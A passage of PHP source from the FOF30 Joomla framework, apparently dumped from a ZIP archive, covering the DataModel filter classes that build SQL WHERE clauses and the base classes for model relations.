array_unique(array_merge($this->getBehaviorParam('blacklistFilters', []), $list)); } $this->setBehaviorParam('blacklistFilters', $list); return null; } /** * Get the blacklisted filters. * * @return array */ public function getBlacklistFilters() { return $this->getBehaviorParam('blacklistFilters', []); } /** * This method is called by Joomla! itself when it needs to update the UCM content * * @return bool */ public function updateUcmContent() { // Process the tags $data = $this->getData(); $alias = $this->getContentType(); $ucmContentTable = Table::getInstance('Corecontent'); $ucm = new UCMContent($this, $alias); $ucmData = $data ? $ucm->mapData($data) : $ucm->ucmData; $primaryId = $ucm->getPrimaryKey($ucmData['common']['core_type_id'], $ucmData['common']['core_content_item_id']); $result = $ucmContentTable->load($primaryId); $result = $result && $ucmContentTable->bind($ucmData['common']); $result = $result && $ucmContentTable->check(); $result = $result && $ucmContentTable->store(); $ucmId = $ucmContentTable->core_content_id; return $result; } /** * Add a field to the list of fields to be ignored by the check() method * * @param string $fieldName The field to add (can be a field alias) * * @return void */ public function addSkipCheckField($fieldName) { if (!is_array($this->fieldsSkipChecks)) { $this->fieldsSkipChecks = []; } if (!$this->hasField($fieldName)) { return; } $fieldName = $this->getFieldAlias($fieldName); if (!in_array($fieldName, $this->fieldsSkipChecks)) { $this->fieldsSkipChecks[] = $fieldName; } } /** * Remove a field from the list of fields to be ignored by the check() method * * @param string $fieldName The field to remove (can be a field alias) * * @return void */ public function removeSkipCheckField($fieldName) { if (!is_array($this->fieldsSkipChecks)) { $this->fieldsSkipChecks = []; return; } if (!$this->hasField($fieldName)) { return; } $fieldName = $this->getFieldAlias($fieldName); if (in_array($fieldName, $this->fieldsSkipChecks)) { $index = array_search($fieldName, $this->fieldsSkipChecks); unset($this->fieldsSkipChecks[$index]); } } /** * Is a field present in the list of fields to be ignored by the check() method? * * @param string $fieldName The field to check (can be a field alias) * * @return bool True if the field is skipped from checks, false if not or if the field doesn't exist. */ public function hasSkipCheckField($fieldName) { if (!is_array($this->fieldsSkipChecks)) { $this->fieldsSkipChecks = []; return false; } if (!$this->hasField($fieldName)) { return false; } $fieldName = $this->getFieldAlias($fieldName); return in_array($fieldName, $this->fieldsSkipChecks); } /** * Loads the asset table related to this table. * This will help tests, too, since we can mock this function. * * @return bool|Asset False on failure, otherwise JTableAsset */ protected function getAsset() { $name = $this->getAssetName(); // Do NOT touch JTable here -- we are loading the core asset table which is a JTable, not a F0FTable $asset = Table::getInstance('Asset'); if (!$asset->loadByName($name)) { return false; } return $asset; } /** * Utility methods that fetches the column name for the field. * If it does not exists, returns a "null" string * * @param string $alias The alias for the column * @param string $null What to return if no column exists * * @return string The column name */ protected function getUcmCoreAlias($alias, $null = "null") { if (!$this->hasField($alias)) { return $null; } return $this->getFieldAlias($alias); } /** * Returns all lower and upper case permutations of the database prefix * * @return array */ protected function getPrefixCasePermutations() { if (empty(self::$prefixCasePermutations)) { $prefix = $this->getDbo()->getPrefix(); $suffix = ''; if (substr($prefix, -1) == '_') { $suffix = '_'; $prefix = substr($prefix, 0, -1); } $letters = str_split($prefix, 1); $permutations = ['']; foreach ($letters as $nextLetter) { $lower = strtolower($nextLetter); $upper = strtoupper($nextLetter); $ret = []; foreach ($permutations as $perm) { $ret[] = $perm . $lower; if ($lower != $upper) { $ret[] = $perm . $upper; } $permutations = $ret; } } $permutations = array_merge([ strtolower($prefix), strtoupper($prefix), ], $permutations); $permutations = array_map(function ($x) use ($suffix) { return $x . $suffix; }, $permutations); self::$prefixCasePermutations = array_unique($permutations); } return self::$prefixCasePermutations; } } PK���\Rm�ۜ�%fof30/Model/DataModel/Filter/Text.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Filter; defined('_JEXEC') || die; use JDatabaseDriver; class Text extends AbstractFilter { /** * Constructor * * @param JDatabaseDriver $db The database object * @param object $field The field information as taken from the db */ public function __construct($db, $field) { parent::__construct($db, $field); $this->null_value = ''; } /** * Returns the default search method for this field. * * @return string */ public function getDefaultSearchMethod() { return 'partial'; } /** * Perform a partial match (search in string) * * @param mixed $value The value to compare to * * @return string The SQL where clause for this search */ public function partial($value) { if ($this->isEmpty($value)) { return ''; } return '(' . $this->getFieldName() . ' LIKE ' . $this->db->quote('%' . $value . '%') . ')'; } /** * Perform an exact match (match string) * * @param mixed $value The value to compare to * * @return string The SQL where clause for this search */ public function exact($value) { if ($this->isEmpty($value)) { return ''; } if (is_array($value) || is_object($value)) { $value = (array) $value; $db = $this->db; $value = array_map([$db, 'quote'], $value); return '(' . $this->getFieldName() . ' IN (' . implode(',', $value) . '))'; } return '(' . $this->getFieldName() . ' LIKE ' . $this->db->quote($value) . ')'; } /** * Dummy method; this search makes no sense for text fields * * @param mixed $from Ignored * @param mixed $to Ignored * @param boolean $include Ignored * * @return string Empty string */ public function between($from, $to, $include = true) { return ''; } /** * Dummy method; this search makes no sense for text fields * * @param mixed $from Ignored * @param mixed $to Ignored * @param boolean $include Ignored * * @return string Empty string */ public function outside($from, $to, $include = false) { return ''; } /** * Dummy method; this search makes no sense for text fields * * @param mixed $value Ignored * @param mixed $interval Ignored * @param boolean $include Ignored * * @return string Empty string */ public function interval($value, $interval, $include = true) { return ''; } /** * Dummy method; this search makes no sense for text fields * * @param mixed $from Ignored * @param mixed $to Ignored * @param boolean $include Ignored * * @return string Empty string */ public function range($from, $to, $include = false) { return ''; } /** * Dummy method; this search makes no sense for text fields * * @param mixed $from Ignored * @param mixed $interval Ignored * @param boolean $include Ignored * * @return string Empty string */ public function modulo($from, $interval, $include = false) { return ''; } } PK���\.wg��(fof30/Model/DataModel/Filter/Boolean.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Filter; defined('_JEXEC') || die; class Boolean extends Number { /** * Is it a null or otherwise empty value? * * @param mixed $value The value to test for emptiness * * @return boolean */ public function isEmpty($value) { return is_null($value) || ($value === ''); } } PK���\߂)fof30/Model/DataModel/Filter/Relation.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Filter; use JDatabaseQuery; defined('_JEXEC') || die; class Relation extends Number { /** @var JDatabaseQuery The COUNT sub-query to filter by */ protected $subQuery = null; public function __construct($db, $relationName, $subQuery) { $field = (object) [ 'name' => $relationName, 'type' => 'relation', ]; parent::__construct($db, $field); $this->subQuery = $subQuery; } public function callback($value) { return call_user_func($value, $this->subQuery); } public function getFieldName() { return '(' . (string) $this->subQuery . ')'; } } PK���\���)\\;fof30/Model/DataModel/Filter/Exception/NoDatabaseObject.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Filter\Exception; defined('_JEXEC') || die; use Exception; use InvalidArgumentException; use Joomla\CMS\Language\Text; class NoDatabaseObject extends InvalidArgumentException { public function __construct($fieldType, $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF_MODEL_ERR_FILTER_NODBOBJECT', $fieldType); parent::__construct($message, $code, $previous); } } PK���\kL��qq=fof30/Model/DataModel/Filter/Exception/InvalidFieldObject.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Filter\Exception; defined('_JEXEC') || die; use Exception; use InvalidArgumentException; use Joomla\CMS\Language\Text; class InvalidFieldObject extends InvalidArgumentException { public function __construct($message = "", $code = 500, Exception $previous = null) { if (empty($message)) { $message = Text::_('LIB_FOF_MODEL_ERR_FILTER_INVALIDFIELD'); } parent::__construct($message, $code, $previous); } } PK���\ۯV�%%'fof30/Model/DataModel/Filter/Number.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Filter; defined('_JEXEC') || die; class Number extends AbstractFilter { /** * The partial match is mapped to an exact match * * @param mixed $value The value to compare to * * @return string The SQL where clause for this search */ public function partial($value) { return $this->exact($value); } /** * Perform a between limits match. When $include is true * the condition tested is: * $from <= VALUE <= $to * When $include is false the condition tested is: * $from < VALUE < $to * * @param mixed $from The lowest value to compare to * @param mixed $to The higherst value to compare to * @param boolean $include Should we include the boundaries in the search? * * @return string The SQL where clause for this search */ public function between($from, $to, $include = true) { $from = (float) $from; $to = (float) $to; if ($this->isEmpty($from) || $this->isEmpty($to)) { return ''; } $extra = ''; if ($include) { $extra = '='; } $from = $this->sanitiseValue($from); $to = $this->sanitiseValue($to); $sql = '((' . $this->getFieldName() . ' >' . $extra . ' ' . $from . ') AND '; $sql .= '(' . $this->getFieldName() . ' <' . $extra . ' ' . $to . '))'; return $sql; } /** * Perform an outside limits match. When $include is true * the condition tested is: * (VALUE <= $from) || (VALUE >= $to) * When $include is false the condition tested is: * (VALUE < $from) || (VALUE > $to) * * @param mixed $from The lowest value of the excluded range * @param mixed $to The higherst value of the excluded range * @param boolean $include Should we include the boundaries in the search? * * @return string The SQL where clause for this search */ public function outside($from, $to, $include = false) { $from = (float) $from; $to = (float) $to; if ($this->isEmpty($from) || $this->isEmpty($to)) { return ''; } $extra = ''; if ($include) { $extra = '='; } $from = $this->sanitiseValue($from); $to = $this->sanitiseValue($to); $sql = '((' . $this->getFieldName() . ' <' . $extra . ' ' . $from . ') OR '; $sql .= '(' . $this->getFieldName() . ' >' . $extra . ' ' . $to . '))'; return $sql; } /** * Perform an interval match. It's similar to a 'between' match, but the * from and to values are calculated based on $value and $interval: * $value - $interval < VALUE < $value + $interval * * @param integer|float $value The center value of the search space * @param integer|float $interval The width of the search space * @param boolean $include Should I include the boundaries in the search? * * @return string The SQL where clause */ public function interval($value, $interval, $include = true) { if ($this->isEmpty($value)) { return ''; } // Convert them to float, just to be sure $value = (float) $value; $interval = (float) $interval; $from = $value - $interval; $to = $value + $interval; $extra = ''; if ($include) { $extra = '='; } $from = $this->sanitiseValue($from); $to = $this->sanitiseValue($to); $sql = '((' . $this->getFieldName() . ' >' . $extra . ' ' . $from . ') AND '; $sql .= '(' . $this->getFieldName() . ' <' . $extra . ' ' . $to . '))'; return $sql; } /** * Perform a range limits match. When $include is true * the condition tested is: * $from <= VALUE <= $to * When $include is false the condition tested is: * $from < VALUE < $to * * @param mixed $from The lowest value to compare to * @param mixed $to The higherst value to compare to * @param boolean $include Should we include the boundaries in the search? * * @return string The SQL where clause for this search */ public function range($from, $to, $include = true) { if ($this->isEmpty($from) && $this->isEmpty($to)) { return ''; } $extra = ''; if ($include) { $extra = '='; } $sql = []; if ($from) { $sql[] = '(' . $this->getFieldName() . ' >' . $extra . ' ' . $from . ')'; } if ($to) { $sql[] = '(' . $this->getFieldName() . ' <' . $extra . ' ' . $to . ')'; } $sql = '(' . implode(' AND ', $sql) . ')'; return $sql; } /** * Perform an interval match. It's similar to a 'between' match, but the * from and to values are calculated based on $value and $interval: * $value - $interval < VALUE < $value + $interval * * @param integer|float $value The starting value of the search space * @param integer|float $interval The interval period of the search space * @param boolean $include Should I include the boundaries in the search? * * @return string The SQL where clause */ public function modulo($value, $interval, $include = true) { if ($this->isEmpty($value) || $this->isEmpty($interval)) { return ''; } $extra = ''; if ($include) { $extra = '='; } $sql = '(' . $this->getFieldName() . ' >' . $extra . ' ' . $value . ' AND '; $sql .= '(' . $this->getFieldName() . ' - ' . $value . ') % ' . $interval . ' = 0)'; return $sql; } /** * Overrides the parent to handle floats in locales where the decimal separator is a comma instead of a dot * * @param mixed $value * @param string $operator * * @return string */ public function search($value, $operator = '=') { $value = $this->sanitiseValue($value); return parent::search($value, $operator); } /** * Sanitises float values. Really ugly and desperate workaround. Read below. * * Some locales, such as el-GR, use a comma as the decimal separator. This means that $x = 1.23; echo (string) $x; * will yield 1,23 (with a comma!) instead of 1.23 (with a dot!). This affects the way the SQL WHERE clauses are * generated. All database servers expect a dot as the decimal separator. If they see a decimal with a comma as the * separator they throw a SQL error. * * This method will try to replace commas with dots. I tried working around this with locale switching and the %F * (capital F) format option in sprintf to no avail. I'm pretty sure I was doing something wrong, but I ran out of * time trying to find an academically correct solution. The current implementation of sanitiseValue is a silly * hack around the problem. If you have a proper –and better performing– solution please send in a PR and I'll put * it to the test. * * @param mixed $value A string representing a number, integer, float or array of them. * * @return mixed The sanitised value, or null if the input wasn't numeric. */ public function sanitiseValue($value) { if (!is_numeric($value) && !is_string($value) && !is_array($value)) { $value = null; } if (!is_array($value)) { $value = str_replace(',', '.', (string) $value); } else { $value = array_map([$this, 'sanitiseValue'], $value); } return $value; } } PK���\h���%fof30/Model/DataModel/Filter/Date.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Filter; defined('_JEXEC') || die; class Date extends Text { /** * Returns the default search method for this field. * * @return string */ public function getDefaultSearchMethod() { return 'exact'; } /** * Perform a between limits match. When $include is true * the condition tested is: * $from <= VALUE <= $to * When $include is false the condition tested is: * $from < VALUE < $to * * @param mixed $from The lowest value to compare to * @param mixed $to The highest value to compare to * @param boolean $include Should we include the boundaries in the search? * * @return string The SQL where clause for this search */ public function between($from, $to, $include = true) { if ($this->isEmpty($from) || $this->isEmpty($to)) { return ''; } $extra = ''; if ($include) { $extra = '='; } $sql = '((' . $this->getFieldName() . ' >' . $extra . ' ' . $this->db->q($from) . ') AND '; $sql .= '(' . $this->getFieldName() . ' <' . $extra . ' ' . $this->db->q($to) . '))'; return $sql; } /** * Perform an outside limits match. When $include is true * the condition tested is: * (VALUE <= $from) || (VALUE >= $to) * When $include is false the condition tested is: * (VALUE < $from) || (VALUE > $to) * * @param mixed $from The lowest value of the excluded range * @param mixed $to The highest value of the excluded range * @param boolean $include Should we include the boundaries in the search? * * @return string The SQL where clause for this search */ public function outside($from, $to, $include = false) { if ($this->isEmpty($from) || $this->isEmpty($to)) { return ''; } $extra = ''; if ($include) { $extra = '='; } $sql = '((' . $this->getFieldName() . ' <' . $extra . ' ' . $this->db->q($from) . ') AND '; $sql .= '(' . $this->getFieldName() . ' >' . $extra . ' ' . $this->db->q($to) . '))'; return $sql; } /** * Interval date search * * @param string $value The value to search * @param string|array|object $interval The interval. Can be (+1 MONTH or array('value' => 1, 'unit' => * 'MONTH', 'sign' => '+')) * @param boolean $include If the borders should be included * * @return string the sql string */ public function interval($value, $interval, $include = true) { if ($this->isEmpty($value) || $this->isEmpty($interval)) { return ''; } $interval = $this->getInterval($interval); // Sanity check on $interval array if (!isset($interval['sign']) || !isset($interval['value']) || !isset($interval['unit'])) { return ''; } if ($interval['sign'] == '+') { $function = 'DATE_ADD'; } else { $function = 'DATE_SUB'; } $extra = ''; if ($include) { $extra = '='; } $sql = '(' . $this->getFieldName() . ' >' . $extra . ' ' . $function; $sql .= '(' . $this->getFieldName() . ', INTERVAL ' . $interval['value'] . ' ' . $interval['unit'] . '))'; return $sql; } /** * Perform a between limits match. When $include is true * the condition tested is: * $from <= VALUE <= $to * When $include is false the condition tested is: * $from < VALUE < $to * * @param mixed $from The lowest value to compare to * @param mixed $to The highest value to compare to * @param boolean $include Should we include the boundaries in the search? * * @return string The SQL where clause for this search */ public function range($from, $to, $include = true) { if ($this->isEmpty($from) && $this->isEmpty($to)) { return ''; } $extra = ''; if ($include) { $extra = '='; } $sql = []; if ($from) { $sql[] = '(' . $this->getFieldName() . ' >' . $extra . ' ' . $this->db->q($from) . ')'; } if ($to) { $sql[] = '(' . $this->getFieldName() . ' <' . $extra . ' ' . $this->db->q($to) . ')'; } $sql = '(' . implode(' AND ', $sql) . ')'; return $sql; } /** * Parses an interval –which may be given as a string, array or object– into * a standardised hash array that can then be used bu the interval() method. * * @param string|array|object $interval The interval expression to parse * * @return array The parsed, hash array form of the interval */ protected function getInterval($interval) { if (is_string($interval)) { if (strlen($interval) > 2) { $interval = explode(" ", $interval); $sign = ($interval[0] == '-') ? '-' : '+'; $value = (int) substr($interval[0], 1); $interval = [ 'unit' => $interval[1], 'value' => $value, 'sign' => $sign, ]; } else { $interval = [ 'unit' => 'MONTH', 'value' => 1, 'sign' => '+', ]; } } else { $interval = (array) $interval; } return $interval; } } PK���\�7+O�&�&/fof30/Model/DataModel/Filter/AbstractFilter.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Filter; defined('_JEXEC') || die; use FOF30\Model\DataModel\Filter\Exception\InvalidFieldObject; use FOF30\Model\DataModel\Filter\Exception\NoDatabaseObject; use InvalidArgumentException; use JDatabaseDriver; use ReflectionClass; use ReflectionMethod; abstract class AbstractFilter { /** * The null value for this type * * @var mixed */ public $null_value = null; protected $db = null; /** * The column name of the table field * * @var string */ protected $name = ''; /** * The column type of the table field * * @var string */ protected $type = ''; /** * Should I allow filtering against the number 0? * * @var bool */ protected $filterZero = true; /** * Prefix each table name with this table alias. For example, field bar normally creates a WHERE clause: * `bar` = '1' * If tableAlias is set to "foo" then the WHERE clause it generates becomes * `foo`.`bar` = '1' * * @var null */ protected $tableAlias = null; /** * Constructor * * @param JDatabaseDriver $db The database object * @param object $field The field information as taken from the db */ public function __construct($db, $field) { $this->db = $db; if (!is_object($field) || !isset($field->name) || !isset($field->type)) { throw new InvalidFieldObject; } $this->name = $field->name; $this->type = $field->type; if (isset ($field->filterZero)) { $this->filterZero = $field->filterZero; } if (isset ($field->tableAlias)) { $this->tableAlias = $field->tableAlias; } } /** * Creates a field Object based on the field column type * * @param object $field The field information * @param array $config The field configuration (like the db object to use) * * @return AbstractFilter The Filter object * * @throws InvalidArgumentException */ public static function getField($field, $config = []) { if (!is_object($field) || !isset($field->name) || !isset($field->type)) { throw new InvalidFieldObject; } $type = $field->type; $classType = self::getFieldType($type); $className = '\\FOF30\\Model\\DataModel\\Filter\\' . ucfirst($classType); if (($classType !== false) && class_exists($className, true)) { if (!isset($config['dbo'])) { throw new NoDatabaseObject($className); } $db = $config['dbo']; $field = new $className($db, $field); return $field; } return null; } /** * Get the class name based on the field Type * * @param string $type The type of the field * * @return string the class name suffix */ public static function getFieldType($type) { // Remove parentheses, indicating field options / size (they don't matter in type detection) if (!empty($type)) { [$type, ] = explode('(', $type); } $detectedType = null; switch (trim($type)) { case 'varchar': case 'text': case 'smalltext': case 'longtext': case 'char': case 'mediumtext': case 'character varying': case 'nvarchar': case 'nchar': $detectedType = 'Text'; break; case 'date': case 'datetime': case 'time': case 'year': case 'timestamp': case 'timestamp without time zone': case 'timestamp with time zone': $detectedType = 'Date'; break; case 'tinyint': case 'smallint': $detectedType = 'Boolean'; break; } // Sometimes we have character types followed by a space and some cruft. Let's handle them. if (is_null($detectedType) && !empty($type)) { [$type, ] = explode(' ', $type); switch (trim($type)) { case 'varchar': case 'text': case 'smalltext': case 'longtext': case 'char': case 'mediumtext': case 'nvarchar': case 'nchar': $detectedType = 'Text'; break; case 'date': case 'datetime': case 'time': case 'year': case 'timestamp': $detectedType = 'Date'; break; case 'tinyint': case 'smallint': $detectedType = 'Boolean'; break; default: $detectedType = 'Number'; break; } } // If all else fails assume it's a Number and hope for the best if (empty($detectedType)) { $detectedType = 'Number'; } return $detectedType; } /** * Is it a null or otherwise empty value? * * @param mixed $value The value to test for emptiness * * @return boolean */ public function isEmpty($value) { return (($value === $this->null_value) || empty($value)) && !($this->filterZero && ($value === "0")); } /** * Returns the default search method for a field. This always returns 'exact' * and you are supposed to override it in specialised classes. The possible * values are exact, partial, between and outside, unless something * different is returned by getSearchMethods(). * * @return string * @see self::getSearchMethods() * */ public function getDefaultSearchMethod() { return 'exact'; } /** * Return the search methods available for this field class, * * @return array */ public function getSearchMethods() { $ignore = [ 'isEmpty', 'getField', 'getFieldType', '__construct', 'getDefaultSearchMethod', 'getSearchMethods', 'getFieldName', ]; $class = new ReflectionClass(__CLASS__); $methods = $class->getMethods(ReflectionMethod::IS_PUBLIC); $tmp = []; foreach ($methods as $method) { $tmp[] = $method->name; } $methods = $tmp; if ($methods = array_diff($methods, $ignore)) { return $methods; } return []; } /** * Perform an exact match (equality matching) * * @param mixed $value The value to compare to * * @return string The SQL where clause for this search */ public function exact($value) { if ($this->isEmpty($value)) { return ''; } if (is_array($value)) { $db = $this->db; $value = array_map([$db, 'quote'], $value); return '(' . $this->getFieldName() . ' IN (' . implode(',', $value) . '))'; } else { return $this->search($value, '='); } } /** * Perform a partial match (usually: search in string) * * @param mixed $value The value to compare to * * @return string The SQL where clause for this search */ abstract public function partial($value); /** * Perform a between limits match (usually: search for a value between * two numbers or a date between two preset dates). When $include is true * the condition tested is: * $from <= VALUE <= $to * When $include is false the condition tested is: * $from < VALUE < $to * * @param mixed $from The lowest value to compare to * @param mixed $to The highest value to compare to * @param boolean $include Should we include the boundaries in the search? * * @return string The SQL where clause for this search */ abstract public function between($from, $to, $include = true); /** * Perform an outside limits match (usually: search for a value outside an * area or a date outside a preset period). When $include is true * the condition tested is: * (VALUE <= $from) || (VALUE >= $to) * When $include is false the condition tested is: * (VALUE < $from) || (VALUE > $to) * * @param mixed $from The lowest value of the excluded range * @param mixed $to The highest value of the excluded range * @param boolean $include Should we include the boundaries in the search? * * @return string The SQL where clause for this search */ abstract public function outside($from, $to, $include = false); /** * Perform an interval search (usually: a date interval check) * * @param string $from The value to search * @param string|array|object $interval The interval * * @return string The SQL where clause for this search */ abstract public function interval($from, $interval); /** * Perform a between limits match (usually: search for a value between * two numbers or a date between two preset dates). When $include is true * the condition tested is: * $from <= VALUE <= $to * When $include is false the condition tested is: * $from < VALUE < $to * * @param mixed $from The lowest value to compare to * @param mixed $to The highest value to compare to * @param boolean $include Should we include the boundaries in the search? * * @return string The SQL where clause for this search */ abstract public function range($from, $to, $include = true); /** * Perform an modulo search * * @param integer|float $from The starting value of the search space * @param integer|float $interval The interval period of the search space * @param boolean $include Should I include the boundaries in the search? * * @return string The SQL where clause */ abstract public function modulo($from, $interval, $include = true); /** * Return the SQL where clause for a search * * @param mixed $value The value to search for * @param string $operator The operator to use * * @return string The SQL where clause for this search */ public function search($value, $operator = '=') { if ($this->isEmpty($value)) { return ''; } $prefix = ''; if (substr($operator, 0, 1) == '!') { $prefix = 'NOT '; $operator = substr($operator, 1); } return $prefix . '(' . $this->getFieldName() . ' ' . $operator . ' ' . $this->db->quote($value) . ')'; } /** * Get the field name * * @return string The field name */ public function getFieldName() { $name = $this->db->qn($this->name); if (!empty($this->tableAlias)) { $name = $this->db->qn($this->tableAlias) . '.' . $name; } return $name; } } PK���\;�<� � "fof30/Model/DataModel/Relation.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel; defined('_JEXEC') || die; use FOF30\Container\Container; use FOF30\Model\DataModel; use JDatabaseQuery; abstract class Relation { /** @var DataModel The data model we are attached to */ protected $parentModel = null; /** @var string The class name of the foreign key's model */ protected $foreignModelClass = null; /** @var string The application name of the foreign model */ protected $foreignModelComponent = null; /** @var string The bade name of the foreign model */ protected $foreignModelName = null; /** @var string The local table key for this relation */ protected $localKey = null; /** @var string The foreign table key for this relation */ protected $foreignKey = null; /** @var null For many-to-many relations, the pivot (glue) table */ protected $pivotTable = null; /** @var null For many-to-many relations, the pivot table's column storing the local key */ protected $pivotLocalKey = null; /** @var null For many-to-many relations, the pivot table's column storing the foreign key */ protected $pivotForeignKey = null; /** @var Collection The data loaded by this relation */ protected $data = null; /** @var array Maps each local table key to an array of foreign table keys, used in many-to-many relations */ protected $foreignKeyMap = []; /** @var Container The component container for this relation */ protected $container = null; /** * Public constructor. Initialises the relation. * * @param DataModel $parentModel The data model we are attached to * @param string $foreignModelName The name of the foreign key's model in the format * "modelName@com_something" * @param string $localKey The local table key for this relation * @param string $foreignKey The foreign key for this relation * @param string $pivotTable For many-to-many relations, the pivot (glue) table * @param string $pivotLocalKey For many-to-many relations, the pivot table's column storing the local * key * @param string $pivotForeignKey For many-to-many relations, the pivot table's column storing the foreign * key */ public function __construct(DataModel $parentModel, $foreignModelName, $localKey = null, $foreignKey = null, $pivotTable = null, $pivotLocalKey = null, $pivotForeignKey = null) { $this->parentModel = $parentModel; $this->foreignModelClass = $foreignModelName; $this->localKey = $localKey; $this->foreignKey = $foreignKey; $this->pivotTable = $pivotTable; $this->pivotLocalKey = $pivotLocalKey; $this->pivotForeignKey = $pivotForeignKey; $this->container = $parentModel->getContainer(); $class = $foreignModelName; if (strpos($class, '@') === false) { $this->foreignModelComponent = null; $this->foreignModelName = $class; } else { $foreignParts = explode('@', $class, 2); $this->foreignModelComponent = $foreignParts[1]; $this->foreignModelName = $foreignParts[0]; } } /** * Reset the relation data * * @return $this For chaining */ public function reset() { $this->data = null; $this->foreignKeyMap = []; return $this; } /** * Rebase the relation to a different model * * @param DataModel $model * * @return $this For chaining */ public function rebase(DataModel $model) { $this->parentModel = $model; return $this->reset(); } /** * Get the relation data. * * If you want to apply additional filtering to the foreign model, use the $callback. It can be any function, * static method, public method or closure with an interface of function(DataModel $foreignModel). You are not * supposed to return anything, just modify $foreignModel's state directly. For example, you may want to do: * $foreignModel->setState('foo', 'bar') * * @param callable $callback The callback to run on the remote model. * @param Collection $dataCollection * * @return Collection|DataModel */ public function getData($callback = null, Collection $dataCollection = null) { if (is_null($this->data)) { // Initialise $this->data = new Collection(); // Get a model instance $foreignModel = $this->getForeignModel(); $foreignModel->setIgnoreRequest(true); $filtered = $this->filterForeignModel($foreignModel, $dataCollection); if (!$filtered) { return $this->data; } // Apply the callback, if applicable if (!is_null($callback) && is_callable($callback)) { call_user_func($callback, $foreignModel); } // Get the list of items from the foreign model and cache in $this->data $this->data = $foreignModel->get(true); } return $this->data; } /** * Populates the internal $this->data collection from the contents of the provided collection. This is used by * DataModel to push the eager loaded data into each item's relation. * * @param Collection $data The relation data to push into this relation * @param mixed $keyMap Used by many-to-many relations to pass around the local to foreign key map * * @return void */ public function setDataFromCollection(Collection &$data, $keyMap = null) { $this->data = new Collection(); if (!empty($data)) { $localKeyValue = $this->parentModel->getFieldValue($this->localKey); /** @var DataModel $item */ foreach ($data as $key => $item) { if ($item->getFieldValue($this->foreignKey) == $localKeyValue) { $this->data->add($item); } } } } /** * Returns the count sub-query for DataModel's has() and whereHas() methods. * * @return JDatabaseQuery */ abstract public function getCountSubquery(); /** * Returns a new item of the foreignModel type, pre-initialised to fulfil this relation * * @return DataModel * * @throws DataModel\Relation\Exception\NewNotSupported when it's not supported */ abstract public function getNew(); /** * Saves all related items. You can use it to touch items as well: every item being saved causes the modified_by and * modified_on fields to be changed automatically, thanks to the DataModel's magic. */ public function saveAll() { if ($this->data instanceof Collection) { foreach ($this->data as $item) { if ($item instanceof DataModel) { $item->save(); } } } } /** * Returns the foreign key map of a many-to-many relation, used for eager loading many-to-many relations * * @return array */ public function &getForeignKeyMap() { return $this->foreignKeyMap; } /** * Gets an object instance of the foreign model * * @param array $config Optional configuration information for the Model * * @return DataModel */ public function &getForeignModel(array $config = []) { // If the model comes from this component go through our Factory if (is_null($this->foreignModelComponent)) { $model = $this->container->factory->model($this->foreignModelName, $config)->tmpInstance(); return $model; } // The model comes from another component. Create a container and go through its factory. $foreignContainer = Container::getInstance($this->foreignModelComponent, ['tempInstance' => true]); $model = $foreignContainer->factory->model($this->foreignModelName, $config)->tmpInstance(); return $model; } /** * Returns the name of the local key of the relation * * @return string */ public function getLocalKey() { return $this->localKey; } /** * Applies the relation filters to the foreign model when getData is called * * @param DataModel $foreignModel The foreign model you're operating on * @param Collection $dataCollection If it's an eager loaded relation, the collection of loaded parent records * * @return boolean Return false to force an empty data collection */ abstract protected function filterForeignModel(DataModel $foreignModel, Collection $dataCollection = null); } PK���\��t�u6u6)fof30/Model/DataModel/RelationManager.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel; defined('_JEXEC') || die; use DirectoryIterator; use FOF30\Model\DataModel; use InvalidArgumentException; use JDatabaseQuery; class RelationManager { /** @var array The known relation types */ protected static $relationTypes = []; /** @var DataModel The data model we are attached to */ protected $parentModel = null; /** @var Relation[] The relations known to us */ protected $relations = []; /** @var array A list of the names of eager loaded relations */ protected $eager = []; /** * Creates a new relation manager for the defined parent model * * @param DataModel $parentModel The model we are attached to */ public function __construct(DataModel $parentModel) { // Set the parent model $this->parentModel = $parentModel; // Make sure the relation types are initialised static::getRelationTypes(); // @todo Maybe set up a few relations automatically? } /** * Populates the static map of relation type methods and relation handling classes * * @return array Key = method name, Value = relation handling class */ public static function getRelationTypes() { if (empty(static::$relationTypes)) { $relationTypeDirectory = __DIR__ . '/Relation'; $fs = new DirectoryIterator($relationTypeDirectory); /** @var $file DirectoryIterator */ foreach ($fs as $file) { if ($file->isDir()) { continue; } if ($file->getExtension() != 'php') { continue; } $baseName = ucfirst($file->getBasename('.php')); $methodName = strtolower($baseName[0]) . substr($baseName, 1); $className = '\\FOF30\\Model\\DataModel\\Relation\\' . $baseName; if (!class_exists($className, true)) { continue; } static::$relationTypes[$methodName] = $className; } } return static::$relationTypes; } /** * Implements deep cloning of the relation object */ function __clone() { $relations = []; if (!empty($this->relations)) { /** @var Relation[] $relations */ foreach ($this->relations as $key => $relation) { 